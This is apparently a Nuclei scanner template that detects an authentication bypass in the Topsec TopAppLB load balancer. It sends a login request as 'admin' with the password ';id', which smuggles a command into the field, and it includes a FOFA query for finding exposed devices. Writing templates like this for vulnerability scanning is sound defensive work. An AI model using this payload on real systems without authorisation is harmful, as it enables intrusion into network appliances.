id: topsec-topapplb-auth-bypass

info:
  name: Topsec TopAppLB - Authentication Bypass
  author: SleepingBag945
  severity: high
  description: |
    Topsec TopAppLB is vulnerable to authetication bypass .Enter any account on the login page, the password is `;id`.
  reference:
    - https://github.com/cqr-cryeye-forks/goby-pocs/blob/main/Topsec-TopAppLB-Any-account-Login.json
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="TopApp-LB 负载均衡系统"
  tags: topsec,topapplb,auth-bypass

http:
  - raw:
      - |
        POST /login_check.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName=admin&password=%3Bid
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302 && status_code_2 == 200'
          - 'contains(body_2,"var IsHeadMin ")'
          - 'contains(header_1,"redirect.php") && !contains(tolower(header_1), "error=1")'
        condition: and
# digest: 490a00463044022015b6240fabd70abf8759cd651e1b5cf31564fb9a685648884322b5149db549e30220054ea151e899469f2b9bb39850250e61162e00841634eadff865227af36f1edf:922c64590222798bb761d5b6d8e72950